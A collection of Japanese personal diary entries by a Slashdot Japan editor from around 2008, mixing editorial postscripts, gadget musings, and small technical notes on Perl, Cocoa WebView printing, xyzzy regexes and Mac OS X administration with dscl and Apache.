http://developer.apple.com/documentation/Cocoa/Reference/WebKit/Protocols/WebUIDelegate_Protocol/Reference/Reference.html#//apple_ref/occ/instm/NSObject/webView:drawHeaderInRect:



まぁ、現在うまく動いちゃったので今後の課題かなぁ。


Permalink | コメントを読む | hylomの日記


スラッシュドット編集後記@7/10

・『 「ファミコンの新作」として「ロックマン」の新作が発売予定』は完全に個人的趣味です。「ファミコンの新作」はカプコンのサイトのキャッチから拾ってきましたw でも、実はWiiは持っていなかったり。


・「 Hans Reiser、妻を埋めた場所を供述 」、なんか前の関連ストーリーと内容がほぼ被っていた気もしたのですが、一応このシリーズは事件が進捗したらストーリーになっていたのでローカルで掲載。



・「 脳コンピュータ・インタフェース・デバイスの将来像 」はいまいち議論にならそうなネタでした。本家/.ではなんかそこそこコメントがついてましたが。



最近他の編集者の方があまり動かず、自分一人タレコミを拾いまくっているような……。みなさまお忙しいのでしょうか。



明日はiPhoneの発売日ですね。買えたら買ってみたいと思います。

Permalink | コメントを読む | hylomの日記


utf8フラグに気を付けろ

perlネタ。


PDF::API2でどうも日本語が化けると思ってソースまでおっかけてデバッグしたのだが、最終的に文字列にutf8フラグがついていなかっただけというオチに。あれだけutf8使うときはフラグに気を付けろと自戒していたのに><



PDF::API2では文字列をAPIに渡す際、is_utf8でフラグをチェックしてエンティティ化するかどうか判断していたため、データは正しいutf8でもフラグの有無で挙動が変わるんだね。



ということで外から取り込んだ文字列は必ずutf8フラグをチェックしろという話でした。

Permalink | コメントを読む | hylomの日記


Eee PC 901、11日発表で12日発売?

2chなどで、Atom搭載、8.9インチ液晶搭載のEee PCの新型「901」が量販店で予約できた、という報告が多数アリ。


どうも、12日発売は硬いようだがどれだけ入ってくるかはどの店舗も未定の模様。



てか人気が予想されている機種を発売の前日発表って、なんなんだろうか。



多分901も買えなさそうなので、iPhoneも買う予定だし900が値下げされたら海外通販で手を出してみるのもよいのかも。



てかそちらよりも最近の関心事は11日にiPhoneが買えるかどうかに移ってたり。会社遅刻してiPhone買いに行こうかと思ってたのに、正午発売だと遅刻というより途中外出しなきゃ行けなくて面倒臭い・・・


Permalink | コメントを読む | hylomの日記


編集後記@7/9

・本日はあまり盛り上がるネタがありませんでした……。


・GRUBネタは詳細がよく分からなかったため、リンクを辿っていったらフランス語サイトに飛んだのでそこであきらめました……。いや、何とかExciteの機械翻訳で英語に変換して読もうとはしたけど。



・やっぱりサイエンスネタは難しいなぁ……。コンピュータサイエンスなら得意なのだがいまいちタレコミは少ない。



・PHPカンファレンスはトップに出すか悩んだけど、結局ローカルに。



・B-CASのタレコミはもっと皮肉を大量にぶち込もうかとも思いましたが荒れそうなので無難な感じで。



・「エンジニアが英語以外の〜」ネタの最後は、確かに日本向けに編集すべきでした。



・今日は本職が忙しかったのでアレタマのチェックはナシ。また明日。

Permalink | コメントを読む | hylomの日記


編集後記@7/8

・「 開発者は数十、数百、数千コアを視野に入れるべき」の部門名を付け忘れた。ものすごく腹が減っていたので集中力が足りてなかった……(←言い訳)。


・タレコミが少なかったのでアレたまをチェック。アレたまに「全展開」機能があることに初めて気付く。アレたまの使い方ってちゃんとドキュメント化されていたっけ?



・「 「IT女戦士」タレコミ の扱いに困る。このネタでURLだけタレ込まれてもどうしろと……。確かに珍しく顔写真は出てるが。



・iPhoneの発売時間ネタのタレコミがあったけど散々iPhoneネタをやった自分としてはこれだけでストーリーにして良いのか悩んだすえ今日は様子見。誰も掲載しなければ明日にAppleローカルで。


Permalink | コメントを読む | hylomの日記


WebViewで印刷時にheader/footerを付ける

メモ。


・PrintInfoでNSPrintHeaderAndFooterをYESにするだけではWebViewではheader/footerは印刷されない。

・これは、header/footerの印刷処理がNSViewの-drawPageBorderWithSize: で定義されているから

・WebViewでの印刷処理(実際にはその子要素のView、HTMLの場合WebHTMLView?)の-drawPageBorderWithSize: にはこの処理は実装されていない

・WebHTMLViewはパブリックなクラスではないので、無理やり定義+カテゴリを使って-drawPageBorderWithSize: を置き換え、NSViewの-drawPageBorderWithSize: を実行後にWebHTMLViewの-drawPageBorderWithSize: を実行するようにすればうまくいくんじゃないかい?

・WebHTMLViewのソースは幸いにしてオープン化されているので利用可能。



ということで明日テストしてみる。てかてっきりheader/footerの印刷はNSPrintOperation側でpageHeader/pageFooterを呼んでやっているものだと勘違いしていてハマった感大。



参考資料はhttp://developer.apple.com/releasenotes/Cocoa/AppKitOlderNotes.htmlとかhttp://developer.apple.com/documentation/Cocoa/Conceptual/Printing/Printing.htmlとか。


Permalink | コメントを読む | hylomの日記


Mac miniでディスプレイを縦置きに

会社で使っているDELLのディスプレイ、縦置きにしても使えることに気づいたので早速やってみる。


Windowsではディスプレイの設定で問題なく使えたのだが、PowerPC G4のMac miniで同じように設定するとWindowServerがめちゃくちゃ重くなる。



もしかして、これソフトウェア的に90度回転を処理したりしてるの? ドライバとか別途必要なのかも、とか思ったがPowerPCのMac miniは確かATIのGPU搭載だ。もしかしてQuartz 3Dのアクセラレーションが効いていないのか?

Permalink | コメントを読む | hylomの日記


本日のスラッシュドット編集後記

正直、今日はトップに上がっているストーリー多過ぎだろと思った……。1、2個はセクションローカルにすべきじゃないかと。
いや、自分も多数アップしてるんだけど、タイミングがreoさんと被ったりnabeshinさんと被ったりOliverさんと被ったりで激しく悪かった。



gooのWikipedia話し言葉検索、微妙なネタを検索させると面白いです。”hydeの身長は?”とか。



「Kota」は結果的にはセクションローカルのほうが良かったようで。やっぱり自足歩行しないのがNGですか(自分はあれ自足歩行できるものと思い込んでた)。



ミラクルの吉岡氏ネタは結局微妙な感じに。議論が盛り上がるかと期待してトップに載せたのですが。コメントのミラクルに人生潰された人の話は興味深かったが。

Permalink | コメントを読む | hylomの日記


xyzzyの正規表現で全角文字だけをヒットさせる

半角文字と全角文字の間に半角スペースを入れる人がいるのだが、そのような半角スペースを一括削除したいという話。


たとえばこんな感じ。

MS-DOS の dir コマンドに相当する Linux のコマンドは ls である。



これを、「MS-DOSのdirコマンドに相当するLinuxのコマンドはlsである。」としたいわけだ。

正規表現で全角/半角文字にマッチする文字クラスがあればよいのだが、xyzzyの正規表現にはない。

しょうがないので、半角文字を[!-~]、全角文字を[^!-~]で代用して次のような関数を作ってみた。
; 全角-半角間のスペース除去

(defun regularize-spacing ()
  (interactive)
  (goto-char (point-min))
  (replace-regexp “\\([^!-~]\\) \\([!-~]\\)” “\\1\\2” t)
  (goto-char (point-min))
  (replace-regexp “\\([!-~]\\) \\([^!-~]\\)” “\\1\\2” t)
  (goto-char (point-min))
  (replace-regexp “\\([^!-~]\\) \\([^!-~]\\)” “\\1\\2” t)
  (goto-char (point-min))) ファイルに書く場合、””内の\はクォートしなければならないのに一瞬はまったけど、とりあえずこれでそこそこ動く。


アレたまチェッカーの希望

どの記事をチェックしたのか、マーカーとか付けられると便利なんだけどなぁ。
RSSリーダー使えという話もありますが:-P


Gmailモバイルにアクセスできなくなった

auのTalbyを使ってるのだが、ここ数カ月ぐらいGmailモバイルにアクセスできなくなった。


どうも一昔前のauの携帯の多くでこのトラブルが発生しているらしく、「 携帯からログインできなくなりました – モバイルによるアクセス | Google グループ 」に解決方法らしきものがあるのだが、残念ながらTalbyにはその設定項目がないんだわ……。



ということでもう諦め気味。いい加減機種変更しろという話なのだろうが……。ということでにわかにiPhone 3Gへの興味再アップ。auを一番安いプランで保持しつつiPhone買って、通話はau、通信はiPhoneとかにしてみればよいのじゃないかな。



ちょっと料金計算してみなければ。とりあえずWillcomは解約しよう。




/.雑感

「これ微妙じゃない?」というネタが意外にコメントを集めたり、「これ面白いなぁ」と思ったネタが閑散としていたりするわけで、なかなか/.は難しい。


最近「微妙」と思ったネタなのにヒットしたのは

お金持ちほど優雅な生活をしている、というのは幻想である

実験でブラックホールが発生し地球を飲み込む説、学術論文で否定される

最大8チャンネルまで同時録画可能なHDDレコーダー”SPIDER”、(限定的ながらも)一般発売へ

「不良はモテる」説が裏付けられる



あたり。逆に「面白い」と思ったのにいまいちだったのは



iPhone 3Gの部品代+製造コストは173ドル

スウェーデン議会で盗聴法投票へ



ぐらいか。てか、「これこんな受けるとは思わなかった」ってネタのほうが断然多いなぁ……。iPhone製造コストは確かにサブセクションにすべきでしたな。でも製造コスト173ドルには驚いたんだけどなぁ。250ドル位はかかってると思ってたのに。



ちなみに自分は/.は「議論もできる(ソーシャル)ニュースサイト」だと思っているので、あまり議論にならなそうなネタでもニュースとして面白いと思ったネタは掲載しますのであしからず……。ただ、あまりにも議論にならなさそうなネタはセクションローカルにしますが。



でも、変なモノ系のネタとかってどのセクションにいれるべきかで今度は悩んだりするんですよね……。「 ギガバイ子ちゃん、一年を経て復活 」とか。これハードウェアなのかよ!と突込まれたら何も言えない……。やっぱり、「アレゲ」とか「Otaku」的なセクションがあるとよいなぁ、とは思ってるんですが。




iPhoneのコストパフォーマンス

iPhoneのコストパフォーマンス、「かなり良い」は言いすぎだったかなぁ。しかし、iPhone本体の価格も考慮するとコストパフォーマンスは良いと思う。


だいたい、今の携帯(au、6年前に契約)はメールメインでごくたまに通話(しかも受話メイン)、たまにTwitterとかmixi見るくらいしか使っていないのに毎月4000円かかってるから、それからするとネット使い放題で本体購入の初期費用かからないで8000円は安い。



てかさっさと使っていないWillcom解約しろ>俺。

W-ZERO3[es]を買ってみたはよいものの、本体でかいしブラウザ使えねーしで3か月でお蔵入りになって放置中で毎月お布施を支払っている状態ですよ。


ミニネット端末

HP2133が発売延期になったために非常にいろいろなものに目移りしているわけですが。


サイズ的には N810 がよいのだが液晶解像度とCPUパワーが心配。



価格的には旧EeePCがいい感じに値崩れているのだがやはり液晶解像度が心配。



来月になったら MSI Wind Notebook U100 が出るっぽいし、さぁどうしよう。



あ、iPhoneも出るし、イーモバイルのEMONSTER Liteも気になる。



2つは買うと冗長すぎるのがなやましいところだ。


フリーなライセンス

クリエイティブ・コモンズ ミュージックビデオコンテスト実施中」についたコメント「 非営利縛りがあるものを「自由」だなんて言わないでくれ。」について。


確かにそうだ。商用利用については完全に視界に入っていなかったわ。そういえばこれがあるからCCは「フリーなライセンスではない」とか言われてたし……。



しかし、どうも最近自分は「サービスで金を取れ」的な思考をしまいがちでよろしくないな。。。

ストーリー「 高校時代をどう過ごしたかで、将来の職業が決まる? 」の訳の件

スラッシュドット・ジャパン | 高校時代をどう過ごしたかで、将来の職業が決まる?の訳の件。


原文は以下。

Geeks and class clowns reported the most job dissatisfaction, at 21 and 18 percent respectively. Thirty-one percent of geeks were also unhappy with their career progress.


直訳すると、「ギークとクラスの人気者はそれぞれ21%、18%と、最も職に対して満足できていないと報告した。ギークの31%はまた彼らのキャリアの進め方に不満を持っている。」となる。

ここで議論になっているのは「21%、18%」が「満足度」か「不満足度」か、という話。ちなみに「job dissatisfaction」は「仕事に満足できないこと」という名詞であり、dissatisfact

この「21%、18%」は、私は「満足度」を指していると考えている。その理由だが、この記事原文の前半に下記のようなパラグラフがある。
Cheerleaders also had the second highest level of job satisfaction, after teacher’s pets, at 76 percent.



直訳すると、「また、チアリーダーは76%と、『教師のお気に入り』に続いて、職についての高い満足度を持っていた」となる。この「76%」が、「満足度」を指していることはほぼ間違いないだろう。

さて、このようなアンケート調査を行う場合、職に対する満足度をどのように問えばよいだろうか。「あなたは現在の職について満足していますか?」という設問と、「あなたは現在の職について不満ですか?」という設問の両方を用意するというのは明らかに冗長である。前者は満足度を問う質問、後者は不満足度を問う質問だが、通常はこのどちらかのみについて尋ねるだろう。

これを考えると、アンケート結果に「満足度」と「不満足度」という、明らかな相関関係のあるものが共に並ぶということは考えられない。そうすると、先の「21%、18%」というのは「満足度」を示しているのではないか、と推論できる。

なお、この文では「job dissatisfaction」が「21 and 18 percent respectively」と言っているわけではなく、「Geeks and class clowns reported the most respectively」であり、そしてそれは「at 21 and 18 percent respectively」という点から来ている、話である点にも注意。


秋葉原の事件について桃井はるこ氏がコメント

秋葉原の事件に関して、秋葉原に造形の深い歌手・声優の桃井はるこ氏がブログでコメントしています( 2008年6月8日千代田区外神田の中央通りで起きた事件について|桃井はるこオフィシャルブログ「モモブロ」Powered by アメブロ)。


非常に長いので、要点のみ抜き出しますが、ぜひ桃井氏のブログを読んでいただければと思います。

わたしには、秋葉原の中央通りに、沢山の想い出があります。


〜中略〜

ほんとうに皮肉ですが、あの場所が、あの風景が、自分にとってこんなに重要な場所だったのだと、
まさにわたしのラジオ番組のリスナーのみんなも言うように「聖地」だったのだと、思い知らされました。
秋葉原は、わたしにとっても心のよりどころなんです。
そこが、悲しい場所になってしまった。

この気持ちを、わたしはどう整理していいのかわからず、考えれば考えるほど、自分の無力さを痛感しました。
でも、秋葉原を愛している者として、そこで人生を奪われてしまった方に対して何もしないなんてできないと思うようになりました。
出すぎた行為かもしれないけど、その場で手を合わせ、亡くなった方々に心から哀悼の意を表し、ご冥福を祈らせていただきたいと思い、
9日の朝、お花をお供えに行きました。

〜中略〜

何も言わず献花台の前でお花の包装を解きました。すると、一斉にすごい数のフラッシュが光りました。
わたしは「写真を撮らないでください」とお願いしました。
しかし、わたしがお花を置くと、また光ります。もういちど「写真を撮るのをやめてください」と言いました。
その後も拝むたびにフラッシュが光るので、何度も「写真を撮らないでください」と言いました。
最後のほうはけっこう大きな声になってしまっていたと思います。
わたしは心をこめて拝ませていただきたかったのです。
でも、チカチカと光をたいてじゃまする人がいます。
手を合わせながら、何度も何度も「やめてください」と言ううちに、涙が出てきました。
わたしは、言うのをやめました。
「こんなに悲しいことがあって、わたしがせめて拝ませていただきたくても、させてもらえないのか。
わたしは本当になにもできない。どうしたらいいのだろうか。」と思いました。

〜中略〜

彼ら、彼女たちはわたしのライブに来てくれて、いつも素敵な笑顔を見せてわたしを励ましてくれます。
多くのテレビ番組では、アキバ系のオタクは気持ち悪く、笑い者にする対象として扱われます。
わたしにも「バラエティー番組でオタ芸大会をするので桃井さんとファンに出演してほしい」というような依頼がしばしばあり、お断りすることがあります。
もしそのような番組に出ていたとしたら、どんなふうに取り上げられるのでしょう。
少し奇抜な格好をしている時もあるし、面白い踊りを踊るけど、ルールを守り、
席を譲り合ったり、ごみを拾って帰ってくれたり、紳士淑女であるわたしのファンの人たち。
ここで献花台の前を塞いでいる人たちと、どっちがまっとうなんでしょうか。

〜中略〜

今は悲しくてしょうがないけど、でも、なんとかしていきたいと思いました。
わたしも一人の、ちっぽけな、完璧なんて全く程遠い人間だけど、人に優しくなりたいです。
言葉が上手くなくてもどかしいけれど、せいいっぱい心をこめて伝えたいです。
わたしと同じように傷ついている秋葉原を愛する人、秋葉原に憧れている人、
落ち込んでいる人、どうか、元気を出してくださいね。
秋葉原のお店の方々、どうか、がんばってください。
わたしは腐らず、明日からも、自分のやりたいことをがんばります。

お怪我された方のご快復を心よりお祈り申し上げます。
ご家族、ご友人の方の心の傷が少しでも癒えることを願っています。


さすがにこのネタで表のストーリーはツライので、こっそりとこのブログ記事をご紹介いたしました。
被害者の皆様、心からご冥福をお祈りいたします。


HP2133、発売が6月下旬に延期

日本HP 重要なお知らせ HP 2133 Mini-Note PCの販売開始時期延期のお知らせ 2008年6月10日


期待のVIA C7搭載ミニノートHP 2133、6月上旬発売予定だったのが下旬に延期になったそうです。



2chではこれが原因で昼休みタイムにHPの直販サイトが落ちていたという噂も(笑)あるくらいですが、やはり人気なんすかね。しかし、延期になるとAtom搭載の対抗馬も発売が見えてきてしまうのでどうなることやら。



とりあえずでも自分はHP 2133買ってしまいそうですが。


iptablesはフィルタリングソフトだ

より

Linuxなら (スコア:1, おもしろおかしい)
Anonymous Coward : 2008年06月06日 14時51分 (#1357884) [6aca9 7195b]

iptablesってソフト入ってんじゃないの?

全ポート塞いで売ればいいじゃん


この発想はなかった。よく考えれば、iptables使えば比較的簡単にフィルタリング設定できるよなぁ。IPベースのフィルタリングしかできないけど。apt-getとかでフィルタリングルールを配信もできるし。




Macでも商用(?)3Dゲームが楽しめるように

Mac使いのゲーマーには朗報?
VGPRO.com | Articles – 5 Incredible Mac Compatible Games available in 2008



・Starcraft 2 | Release Date: 12/3/2008 | Source: EBgames

・Spore | Release Date: Sep 7, 2008

・World of Warcraft: Wrath of Lich King | Release Date: Fall 2008 (Possibly 11/03/08?)

・Call of Duty 4: Modern Warfare | Release Date: July 7, 2008

・Neverwinter Nights 2 | Release Date: 3/3/2008



なんかがでるそうで。



あと、Nine Inch Nailsが今度はツアーのサンプル音源を無料公開してるね。

http://www.nin.com/


古い技術記事をむやみに公開することは「有害」か?

日経BPが運営する「ITpro」サイト上で数年前の記事が新規記事として公開されていることが、一部で話題になっている( そろそろ日経LinuxがDISられた理由について解説しておくか – TokuLog 改めChumbyとどきました日記Perl 2008年のファイルオープン – てっく煮ブログなど)。


特に問題になっているのは、雑誌媒体などに掲載された古い記事について、その出典やオリジナルの執筆時期が分かりにくい状態で新規記事として掲載されている点だ。特にLinuxカーネルやWeb関連の技術は2、3年前のものでも時代遅れになっていることが多く、そのような情報を読んだ読者がそれらを誤って「最新の情報」として鵜呑みにしてしまう可能性がある。



これを受けて、「 ITProの記事が古いときに警告を出すGreasemonkeyスクリプト書いた-なんかばんざい 」といったスクリプトまでも制作されている。これはもちろん冗談半分だとは思うが、/.読者諸氏は、このような古い技術情報をむやみに公開することについてどう思われるだろうか。



※以上、タレコミ用に編集したバージョン。オリジナルの日記は以下。(掲載時にはカットしてください)



ITProの記事が古いときに警告を出すGreasemonkeyスクリプト書いた-なんかばんざい 」を見て猛烈に吹いた(いや、実際にはそこまでもないが)。



確かに、3年前の記事とかって今全然役に立たないことも多いもんなぁ。

ITmediaも数年前のオープンソースマガジンの記事を今更だらだらとアップしてるし。まぁあの辺は今見ても新しく見えるし、実際有用な成分も多いからまあ良いのだけど。




Mac OS Xでコマンドラインからユーザーを作成する

OS XはUNIXなので、もちろんコマンドラインからユーザーを作ることができる。ただし、Linuxなどにあるuseradd / adduserのようなコマンドはない。じゃあどうするかというと、「dscl」コマンドを使う。


dsclは「Directory Service Command Line Utility」の略だそうで、以下のようにすればPrimaryのGIDが1000、UIDが505のユーザーhogeを作成できる。

# dscl . -create /Users/hoge

\# dscl . -create /Users/hoge UserShell /bin/bash
\# dscl . -create /Users/hoge RealName “HogeHoge”
\# dscl . -create /Users/hoge UniqueID 505
\# dscl . -create /Users/hoge PrimaryGroupID 1000
\# dscl . -create /Users/hoge NFSHomeDirectory /Users/hoge これだけではホームディレクトリは作成できないので、「createhomedir」コマンドでホームディレクトリを作成する。
# createhomedir -b -u hoge

あとはpasswdコマンドでパスワードを設定してやればOK。



ちなみに、GID一覧は下記で表示できる。
dscl . -list /Groups PrimaryGroupID

dsclの詳細はmanpageが詳しいが、とりあえず-list、-readall、-create、-changeあたりのオプションを覚えておけばOK。




固定電話の話。

実家の固定電話がなくなっていた話。


実家は固定電話無くなったんだけど、自分の家はNTT東と普通に契約をしていたりする。しかし、ADSLのためだけに契約したため、我が家には固定電話機がない。



ところが先日(といっても半年以上前だが)引っ越しをした時、NTTから回線の確認をしたいから電話機をつなげ、とのお達しが。もちろん電話機なんてないので放置。そしたら、今度は某ADSL会社から「NTTから回線の確認が取れないので工事ができない」との連絡が(汗)。



しょうがないので、とりあえずノートパソコンを接続してこのご時世にプロバイダにダイヤルアップ(笑)。接続できたことを確認、これでやっとNTTの回線工事が完了したことになって引っ越し1か月後にADSL開通。



そしてさらに1か月後。



プロバイダから、10秒分のダイヤルアップ接続料金( 6円 )の振込請求書がやってきましたwww



ADSLはクレジットカード払いなのにダイヤルアップは別請求なんだってさ。しょうがないので、コンビニに持って行って6円払ったよ。



ということで、電話機を持っていない方は引越しの際はご注意ください。



# 電話機って勝手に自作したらたぶん違法なんだよなぁ・・・


一応ご挨拶

思いっきり雑記。


色々ありまして、この度Slashdot Japanの編集者として活動することとなりました。

正式な告知はきっと新編集者が出そろった辺りに出されるかとは思いますので、ひっそりと自分の日記でご挨拶しておきます。

# なにげに新編集者一番乗りです。



得意分野はMac/Apple系、ガジェット、オモシロ驚愕ネタ、インターネットカルチャー、Perlなどで、著作権やLinuxネタにも興味があります。まだまだなにかやらかすことなどあるかも知れませんが、どうか生暖かく見守ってやって下さいませ。



そして、ブログにしようと思いつつ数カ月、いや十数ヶ月放置されていた自分のWebサイトが公衆の面前にさらされることに気付く。取りあえず(数年前に勢いだけで作った)デザインだけでもさっさと変えよう……。




Mac OS XでリモートログインしてGUIプログラムを実行する際の挙動

Mac OS Xで、sshでリモートログインした状態でGUIプログラムを実行した際の挙動メモ。


・ユーザーhogeがGUIログインしている状態で、リモートからhogeユーザーでsshログインしてGUIプログラムを実行→GUIログインしている画面でプログラムが実行・表示される



・誰もユーザーがログインしていない状態で、リモートからhogeユーザーでsshログインしてGUIプログラムを実行→プログラムを起動できない



・誰もユーザーがログインしていない状態で、リモートからrootユーザーでsshログインしてGUIプログラムを実行→どこにもウィンドウが表示されずにプログラムが実行される?



・誰もユーザーがログインしていない状態で、リモートからhogeユーザーでsshログインして、sudoなどを使ってroot権限でGUIプログラムを実行→どこにもウィンドウが表示されずにプログラムが実行される?




トロイの木馬を仕込んで児童ポルノ好き判事を摘発→タイーホ

【連載】サイバー・セキュリティ[罪と罰]第1回:トロイの木馬を仕込んで児童ポルノを摘発 : セキュリティ・マネジメント – Computerworld.jpより。


トロイの木馬を児童ポルノニュースグループに仕込んで、「70人の児童性愛犯罪者をムショ送り」にしたそうですが、判事を摘発してしまってその件でタイーホだそうで。



まぁ、やっていることは違法なんだけど、やり過ぎた、という感じでしょうか。しかしアメリカは怖いなぁ・・・。P2Pにウイルス流す程度の日本はあまっちょろいわw




友人がニコニコ職人になってた

最近、友人がニコニコ動画に動画をアップしているんだけど、その動画が「ニコニコ動画総合ランキングトップ100」に入ってたりしてびっくり。


別にアニメネタでもなく、MAD動画でもなく、手書きのイラストを使ったネタ(なので完全に著作権侵害は無し)がこんなに受けるなんて思ってもいませんでしたよ。著作権侵害コンテンツなしでにぎわうニコニコ動画なんて想像できなかったですよ。



その友人はプロの(雇われ)デザイナーでイラストも金を取れるレベル(だけどまだほとんどメディアには出ていない)なんだけど、そういうクリエイターがニコニコ動画にはそこそこ居て、コンテンツを発表しているそうな。まだニコニコ動画で発掘されてより金になるメディアへと作品を発表できた、という例は聞かないけど、きっともうすぐそういうことが起こるんだろうなあ、とか思うとちと感慨深い。



そして侵害コンテンツは海外に流れて結局は生き残るんだよね……



# 最近一般人が中国の動画サイトを使っていると聞いて驚いたし




色々なランキングに基づいてYouTube動画リストを作成する

Tokixさんが面白いサイトを作っていたのでチェック。
ChartTube – チャート別VideoPodCast作成サービス

世界中の各種チャートから、チャート各項目に関係がある気がするYouTube動画を埋め込みまくるページを生成します。動画をブラウザ上で鑑賞することが可能であり、また、ListPodに各チャートのページを渡すことで、各チャートからVideoPodcastを生成することが可能です。

別の言い方をすればCDTubeの弟的なページを量産するシステムだ。
(サイトより)

現在、世界各国のヒットチャートランキングが登録されているけど、これYouTubeに関連動画が登録されているランキングなら音楽以外でも活用できるよね。

RSSを食わせると、自動的にYouTubeの動画を関連付けてくれるサービスとかに発展するとめちゃくちゃ面白いような気がする(気がするだけだけど)。


LeopardのApacheメモ

Mac OS X 10.5 Leopardでは、標準のhttpdはApacheの1.3系から2.2系にUpdateされたそうで、ディレクトリ構成が変わっているそうだ(Tigerでは/etc/httpd/以下にあった設定ファイルがLeopardでは/etc/apache2/以下にある)。


そのため、10.4 TigerからUpdateした環境だと、そのままではhttp://<マシン名 or IPアドレス>/~<ユーザー名/で各ユーザーの~/Sites/ディレクトリにアクセスできない。



ということで、下記を実行して設定ファイルをコピーしておく必要がある。

sudo cp /etc/httpd/users/* /etc/apache2/users/

これ、確実にはまるよねー……。



動画共有サイト「ニコニコ動画」でソフトウェアの配信が始まる

hylom曰く、

有名動画共有サイト「ニコニコ動画」で、新たにソフトウェアの配信サービスが開始された。


今回配信されたのは、シャープの「MZ-700」および「MZ-1500」向けアイドル育成ゲーム「 タイニーアイマス 」。ソフトウェアは音声形式で配信され、 配信ページ にアクセスして再生された音声をカセットテープに録音後MZ-700/1500にロードする、もしくは直接パソコンとMZ-700/1500を接続してロードを行うことでゲームがプレイ可能になる。



MZ-700やMZ-1500には対応フロッピーディスクドライブが存在せず、当然USBメモリなどのデバイスも使用できないため、これらの機器向けのインターネット経由によるソフトウェア配信は困難だと思われていた。



今後はMZ-700以外にも、FM-8/7シリーズやPC-6801といった、他機種向けのソフトウェア配信も次々と行われるのではないかとhylomは期待している。



うーん、ネタっぽく記事にするのは難しい・・・


人がやっていないことをやってみるのは取りあえず後退ではないと思う

自分の

Radioheadの件もそうですが、「タダで音楽を配る」ことが進んでいるわけではなく、「超有名アーティストがこのような試みに挑戦する」ということが進んでいるのかと。

というコメント

なぜ「大物がやると進んでいる」のでしょうか?

というレスが付いていたのだが、確かにこれで「進んでいる」というのには違和感があるかもしれない。



しかし、「普通にCDとして売る、もしくは有料で売れば大もうけ」(実際、ダウンロード販売された前作は1週間で160万ドルの売り上げがあったそうな)なのに、それをタダで公開するということは、どのように考えればよいのだろうか。



「前作で儲けたから今作はタダで、しかも好きに使っていいぜ」という考え方は、進化ではないかもしれないけど、少なくとも文化的に後退する所為ではないと思う。



知名度の低いアーティストが無料で楽曲を公開するのも、決して後退ではない。そして、それをやっている人はすでに多数いる。でも、知名度のあるアーティストでアルバム一枚丸ごとを無料で公開した人は少ない。取りあえず成功になるか失敗になるかは別にして、まだあまりやられていないことをやってみるのは進歩と言えるんじゃないかな。




3h→1セットで生活を考えてみる

物事を分析するとき、オーダーを変えて視点を変えるというテクニックがあるわけだが、今回はこれを生活の時間単位に適用してみようという話。


生活のリズムを考えるとき、だいたい1時間を1単位として考えることが多いと思うけど、そうではなくて3時間を1単位として考えてみると生活リズムを最適化できんじゃないかと考えてみる。



世の中的には90分=1単位、ということが多いし、睡眠は1.5時間サイクルで眠りの深度が変わるそうだから、1.5時間を1単位とするのも考えられる。しかし、実際1.5時間でできることというのは意外に限られている。いっぽう、3時間を1単位とするとそこそこ大きめの仕事を片付けられる上、たとえば2時間半活動→30分ダレる、といった使い方もできる。



また、3h→1セットルールの場合、一日は8セットとなり、イメージがしやすい。たとえば自分の場合、睡眠8h+寝る準備&起きてから活動できる状態になるまで(着替え、シャワー、朝食等)1hの9h=3セットが睡眠に絡む時間となる。仕事は移動時間なども含めると3セット以上4セット未満。すると、自由時間は1セット+αしかないことに気付く。



うん、時間を大事にしようという気になれるぞ、こりゃ。

つづく?

サトウのごはん+中国製冷凍食品で節約生活

年収崩壊,庶民の生き残り策を考える / SAFETY JAPAN [森永 卓郎氏] / 日経BP社。オタク系アナリストとして有名な森永氏ですが、内容がタイトルから予想されるもののナナメ上を行っていてアツイ。


・パンがないなら米を食え。「サトウのごはん」をセールで買えば一食分80円。



・カップヌードルは高いので100円ショップなどで売っている「スープヌードル」を食う

腹が減っているときは、スープヌードルとサトウのごはんで、ラーメンライスにするというのが、わたしの昼食の献立である。これで一食180円也

だって。



・冷凍食品を食え
中国製の冷凍食品は投げ売り状態である。わたしは、1個50円で売られていたのを見て、冷凍庫がいっぱいになるくらい買いおきした
ご飯を炊いて、おかずを冷凍食品にするというのが、現代日本人の理想の食事ではなかろうかとわたしは考えている

でも、冷凍食品って当たり外れがないっすか?

そのほか、「年収崩壊時代生き残り10カ条」というのもあってなかなかに興味深い。てか、十分稼いでいるはずなのにこれだけやるってすげぇ。


日本のhackerが目立たない理由?

海外だとhackerはベンチャーにパワーを使うけど、日本だとhackerはオタクカルチャーにパワーを使うという分析。


シリコンバレー精神は日本の場合、オタク市場に流れ込んでいる。 – マボロシプロダクト



日本にも優秀なhackerが一杯居るはずなのに、なんで表立った活動は少ないんだろうとか思ってたんだけど、納得できる分析だわ。




PerlでHello World

さまざまな言語でHello,Worldを実装する結構コアなコラム、今回はPerl編だった。
【コラム】Hello Worldコレクション (6) Perl編 – 意外!?に多芸多才なスクリプト言語 | エンタープライズ | マイコミジャーナル



しかし、今回はあまりぶっとんだ実装がなくて残念。Perlならもっと変態的な実装ができるんじゃないかなぁ……。

Packageを使った例もないし。



たとえばこんなんとか。

#!/usr/bin/perl

 
use strict;
use IO::File;
 
my $io = IO::File->new;
$io->fdopen(fileno(STDOUT),”w”);
$io->print(“Hello World\n”);
$io->close; もう少し変態的な書き方も考えてみると楽しいかも。

米Google、テレビCM用AdWordsシステムを一般向けに公開

TechCrunch Japaneseより。


TV Ads – Adwords – Google に詳細があるが、GoogleがAdWords広告をTVで配信するサービスを一般公開したそうだ。このサービスは、βサービスとして一部のユーザーのみに提供されていたが、これから(米国内の)すべてのAdWordsユーザーが利用できるようになる。



これは、Google AdWordsのように、Webインターフェイスで広告を設定してTVで放映できるサービスで、放送するテレビ局や放送する曜日や時間帯を設定し、放送する動画をアップロードし、一日あたりに支払える広告料金やCPM(掲載1000回あたりの料金)を設定するだけで利用可能だそうだ。また、CMの映像を持っていない場合は「Ad Creation Marketplace」を利用して制作を依頼することも可能だ。



実際のCMの放送は、AdWordsと同様にオークション形式で行われ、実際に放映された分にのみ課金されるのも同様だ。



放送された広告は、家庭に設置されたセットトップボックスなどを使用して視聴回数などを収集し、その統計情報は広告出稿者にフィードバックされるようだ。



なお、GoogleのTV広告ビジネスについては グーグル、テレビ広告ビジネスに参入–EchoStar Satelliteと提携 などが詳しい。



このサービスは、ケーブルテレビが普及している米国だからこそできるのだろうが、視聴回数などが正しくフィードバックされるというのは広告主にとっては嬉しいのではないだろうか。


米iTunes StoreでDVD発売日と同じ日に映画のダウンロード購入ができるように

米アップルは、iTunes Storeで新たに20th Century Fox、The Walt Disney Studios、Warner Bros.、Paramount Pictures、Universal Studios Home Entertainment、Sony Pictures Entertainmentといった大手映画会社の作品を販売開始すると発表した( 米Appleのニュースリリース)。


